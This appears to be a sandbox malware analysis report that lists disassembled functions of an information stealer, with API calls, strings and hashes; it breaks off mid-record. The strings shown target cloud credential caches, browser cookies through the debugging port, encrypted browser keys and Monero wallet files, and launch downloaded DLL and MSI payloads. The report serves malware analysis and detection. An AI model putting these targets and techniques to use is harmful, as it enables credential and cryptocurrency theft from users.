Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 12100af891a078a78ac2447e41a5bf7f720408414bc8c60c2328f0cc35dbeecf
Instruction ID: 1517717e425a7eb1de87efa1461230ea525bef9a768f62540d9ba164bb00f078
Opcode Fuzzy Hash: 12100af891a078a78ac2447e41a5bf7f720408414bc8c60c2328f0cc35dbeecf
Instruction Fuzzy Hash: 3F41A0BAA4021867DB64E770EC97FDD733C9B64700F404994B649A60C1EFB4A7D88B92

Function 001291A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 001291FC

Strings

image/jpeg, xrefs: 001292C6

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 15abc6e36c1a42deb63380167b6df408864b6e4785502a68d6876fc647d9b847
Instruction ID: ba60c9d3abfef858dd97b9941f0fca9f45fdb03db3c38dd934d07031a5e2c3f4
Opcode Fuzzy Hash: 15abc6e36c1a42deb63380167b6df408864b6e4785502a68d6876fc647d9b847
Instruction Fuzzy Hash: 8971ED71A10258ABDB14DFE4EC85FEEB77DBF48700F108618F616AB290DB34A944CB60

Function 00123080 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0012AA50: lstrcpy.KERNEL32(00130E1A,00000000), ref: 0012AA98

ShellExecuteEx.SHELL32(0000003C), ref: 00123415
ShellExecuteEx.SHELL32(0000003C), ref: 001235AD
ShellExecuteEx.SHELL32(0000003C), ref: 0012373A

Strings

<, xrefs: 001236E0
C:\Windows\system32\msiexec.exe, xrefs: 0012370F
"" , xrefs: 001232EA
.msi, xrefs: 001235E8
/passive, xrefs: 001236AB
/i ", xrefs: 00123634
C:\Windows\system32\rundll32.exe, xrefs: 00123582
.dll, xrefs: 00123435

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 8bc932f4dd9cd9e12db70e737fdd4b33a2926dfaf371f1f4b1fe1113ccf33182
Instruction ID: 3f3e24f50fd37505b419d2c879de98f30e55420d273ac28807bd4e4991d308f8
Opcode Fuzzy Hash: 8bc932f4dd9cd9e12db70e737fdd4b33a2926dfaf371f1f4b1fe1113ccf33182
Instruction Fuzzy Hash: E1121F719101289BCB19FBA0EDA2FEDB779AF24300F804599F50676191EF342B69CF61

Function 00119BE0 Relevance: 19.6, APIs: 8, Strings: 5, Instructions: 146stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00119A50: InternetOpenA.WININET(00130AF6,00000001,00000000,00000000,00000000), ref: 00119A6A

lstrcat.KERNEL32(?,cookies), ref: 00119CAF
lstrcat.KERNEL32(?,001312C4), ref: 00119CC1
lstrcat.KERNEL32(?,?), ref: 00119CD5
lstrcat.KERNEL32(?,001312C8), ref: 00119CE7
lstrcat.KERNEL32(?,?), ref: 00119CFB
lstrcat.KERNEL32(?,.txt), ref: 00119D0D
lstrlen.KERNEL32(00000000), ref: 00119D17
lstrlen.KERNEL32(00000000), ref: 00119D26

Part of subcall function 0012AA50: lstrcpy.KERNEL32(00130E1A,00000000), ref: 0012AA98

Strings

localhost, xrefs: 00119BF5
cookies, xrefs: 00119CA3
/devtools, xrefs: 00119C0B
.txt, xrefs: 00119D01
ws://localhost:9229, xrefs: 00119C3C

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$InternetOpenlstrcpy
String ID: .txt$/devtools$cookies$localhost$ws://localhost:9229
API String ID: 3174675846-3542011879
Opcode ID: 4a69f32511967f73431f770b501cd485e21144d7ea092373475ac90b48b7ad77
Instruction ID: ad00dc73a08b5a194229936ae9383818e2f9c342d37f2beaa0b765af735fdb68
Opcode Fuzzy Hash: 4a69f32511967f73431f770b501cd485e21144d7ea092373475ac90b48b7ad77
Instruction Fuzzy Hash: 02513271910618ABDB18EBE0EC95FEE773CAF14301F404698F205A7091EF756A89CF61

Function 00125510 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0012AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0012AAF6

Part of subcall function 001162D0: InternetOpenA.WININET(00130DFF,00000001,00000000,00000000,00000000), ref: 00116331
Part of subcall function 001162D0: StrCmpCA.SHLWAPI(?,00E3F970), ref: 00116353
Part of subcall function 001162D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00116385
Part of subcall function 001162D0: HttpOpenRequestA.WININET(00000000,GET,?,00E3F0E0,00000000,00000000,00400100,00000000), ref: 001163D5
Part of subcall function 001162D0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0011640F
Part of subcall function 001162D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00116421

Part of subcall function 0012ABB0: lstrcpy.KERNEL32(?,00130E1A), ref: 0012AC15

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00125568
lstrlen.KERNEL32(00000000), ref: 0012557F

Part of subcall function 00128FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00128FE2

StrStrA.SHLWAPI(00000000,00000000), ref: 001255B4
lstrlen.KERNEL32(00000000), ref: 001255D3
lstrlen.KERNEL32(00000000), ref: 001255FE

Part of subcall function 0012AA50: lstrcpy.KERNEL32(00130E1A,00000000), ref: 0012AA98

Strings

ERROR, xrefs: 00125609
ERROR, xrefs: 00125682
ERROR, xrefs: 0012555A
ERROR, xrefs: 001256F9
ERROR, xrefs: 001256BF

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 9a529e2acc89a66fd24f95edb94b615f5f138fe676313d95c9c1721115c8ff47
Instruction ID: 74c1d7ff90c9aa3178436e8970d0f37f5d64e56601b0667b29bf0d9951a12b5f
Opcode Fuzzy Hash: 9a529e2acc89a66fd24f95edb94b615f5f138fe676313d95c9c1721115c8ff47
Instruction Fuzzy Hash: 0B511030910158EBCB18FF60EDA6AED777AAF20340FD04458F9066B591EF306B54CB62

Function 00121520 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: 09dd72aa29c738ad2fa844f143f41dfe5663d090ba517b0ab58349b5d92a291d
Instruction ID: 837ba0e3f38036c91fea529d9bbe18b6821e613724aef85b40ba442a429f42fd
Opcode Fuzzy Hash: 09dd72aa29c738ad2fa844f143f41dfe5663d090ba517b0ab58349b5d92a291d
Instruction Fuzzy Hash: F5C163B5900129ABCB18EF60EC9AFDE7379BF74304F004599F509A7281DB70AA95CF91

Function 001244D0 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00128F70: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00128F9B

lstrcat.KERNEL32(?,00000000), ref: 0012453C
lstrcat.KERNEL32(?,00E3F6E0), ref: 0012455B
lstrcat.KERNEL32(?,?), ref: 0012456F
lstrcat.KERNEL32(?,00E3DE80), ref: 00124583

Part of subcall function 0012AA50: lstrcpy.KERNEL32(00130E1A,00000000), ref: 0012AA98

Part of subcall function 00128F20: GetFileAttributesA.KERNEL32(00000000,?,00111B94,?,?,0013577C,?,?,00130E22), ref: 00128F2F

Part of subcall function 0011A430: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 0011A489

Part of subcall function 0011A110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0011A13C
Part of subcall function 0011A110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 0011A161
Part of subcall function 0011A110: LocalAlloc.KERNEL32(00000040,?), ref: 0011A181
Part of subcall function 0011A110: ReadFile.KERNEL32(000000FF,?,00000000,0011148F,00000000), ref: 0011A1AA
Part of subcall function 0011A110: LocalFree.KERNEL32(0011148F), ref: 0011A1E0
Part of subcall function 0011A110: CloseHandle.KERNEL32(000000FF), ref: 0011A1EA

Part of subcall function 00129550: GlobalAlloc.KERNEL32(00000000,0012462D,0012462D), ref: 00129563

StrStrA.SHLWAPI(?,00E3F6B0), ref: 00124643
GlobalFree.KERNEL32(?), ref: 00124762

Part of subcall function 0011A210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00114F3E,00000000,00000000), ref: 0011A23F
Part of subcall function 0011A210: LocalAlloc.KERNEL32(00000040,?,?,?,00114F3E,00000000,?), ref: 0011A251
Part of subcall function 0011A210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00114F3E,00000000,00000000), ref: 0011A27A
Part of subcall function 0011A210: LocalFree.KERNEL32(?,?,?,?,00114F3E,00000000,?), ref: 0011A28F

lstrcat.KERNEL32(?,00000000), ref: 001246F3
StrCmpCA.SHLWAPI(?,001308D2), ref: 00124710
lstrcat.KERNEL32(00000000,00000000), ref: 00124722
lstrcat.KERNEL32(00000000,?), ref: 00124735
lstrcat.KERNEL32(00000000,00130FA0), ref: 00124744

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: 8f28de8491483e4b35a42b381fbeed5512ab4caaa32a2dd509dc49cb7ba0b152
Instruction ID: aec708f8193d3adaf9e697456b512e985e314ffe6076ed24c33aa0ec328ad524
Opcode Fuzzy Hash: 8f28de8491483e4b35a42b381fbeed5512ab4caaa32a2dd509dc49cb7ba0b152
Instruction Fuzzy Hash: 747174B6900218ABDB14EBA0ED96FEE777DAF98300F404698F60597181EB34DB54CF51

Function 00111310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 001112A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 001112B4
Part of subcall function 001112A0: RtlAllocateHeap.NTDLL(00000000), ref: 001112BB
Part of subcall function 001112A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 001112D7
Part of subcall function 001112A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 001112F5
Part of subcall function 001112A0: RegCloseKey.ADVAPI32(?), ref: 001112FF

lstrcat.KERNEL32(?,00000000), ref: 0011134F
lstrlen.KERNEL32(?), ref: 0011135C
lstrcat.KERNEL32(?,.keys), ref: 00111377

Part of subcall function 0012AA50: lstrcpy.KERNEL32(00130E1A,00000000), ref: 0012AA98

Part of subcall function 0012ACC0: lstrlen.KERNEL32(?,00E39450,?,\Monero\wallet.keys,00130E1A), ref: 0012ACD5
Part of subcall function 0012ACC0: lstrcpy.KERNEL32(00000000), ref: 0012AD14
Part of subcall function 0012ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 0012AD22

Part of subcall function 0012ABB0: lstrcpy.KERNEL32(?,00130E1A), ref: 0012AC15

Part of subcall function 00128CF0: GetSystemTime.KERNEL32(00130E1B,00E3E7B8,001305B6,?,?,001113F9,?,0000001A,00130E1B,00000000,?,00E39450,?,\Monero\wallet.keys,00130E1A), ref: 00128D16

Part of subcall function 0012AC30: lstrcpy.KERNEL32(00000000,?), ref: 0012AC82
Part of subcall function 0012AC30: lstrcat.KERNEL32(00000000), ref: 0012AC92

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00111465

Part of subcall function 0012AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0012AAF6

Part of subcall function 0011A110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0011A13C
Part of subcall function 0011A110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 0011A161
Part of subcall function 0011A110: LocalAlloc.KERNEL32(00000040,?), ref: 0011A181
Part of subcall function 0011A110: ReadFile.KERNEL32(000000FF,?,00000000,0011148F,00000000), ref: 0011A1AA
Part of subcall function 0011A110: LocalFree.KERNEL32(0011148F), ref: 0011A1E0
Part of subcall function 0011A110: CloseHandle.KERNEL32(000000FF), ref: 0011A1EA

DeleteFileA.KERNEL32(00000000), ref: 001114EF

Strings

.keys, xrefs: 0011136B
\Monero\wallet.keys, xrefs: 0011138D
wallet_path, xrefs: 00111330
SOFTWARE\monero-project\monero-core, xrefs: 00111335

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: f1fd7fe58423108e4142840ff06c34c85ed4970e6bfa92730e365e6963abe39d
Instruction ID: 7a3efcda2181dfe0228703870bf315ee40a5c4f24fc73625211d0535c9cb005f
Opcode Fuzzy Hash: f1fd7fe58423108e4142840ff06c34c85ed4970e6bfa92730e365e6963abe39d
Instruction Fuzzy Hash: BE5136B1D5012857CB15FB60ED92FED737DAF64700F8045E8B60A66091EF306B98CB65

Function 00119A50 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 107networkCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(00130AF6,00000001,00000000,00000000,00000000), ref: 00119A6A
InternetOpenUrlA.WININET(00000000,http://localhost:9229/json,00000000,00000000,80000000,00000000), ref: 00119AAB
InternetCloseHandle.WININET(00000000), ref: 00119AC7

Strings

"webSocketDebuggerUrl":, xrefs: 00119B4B
"ws://, xrefs: 00119B84
http://localhost:9229/json, xrefs: 00119A9F

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: Internet$Open$CloseHandle
String ID: "webSocketDebuggerUrl":$"ws://$http://localhost:9229/json
API String ID: 3289985339-2144369209
Opcode ID: 57934a3b32bea57a5bcc239728d9c4b19a11e4d260936dea2b4e9b91803dbc8f
Instruction ID: 473a5ee756dfbee338ef9d8b066b6d137537d4b094a011153e1d4d85225d1d30
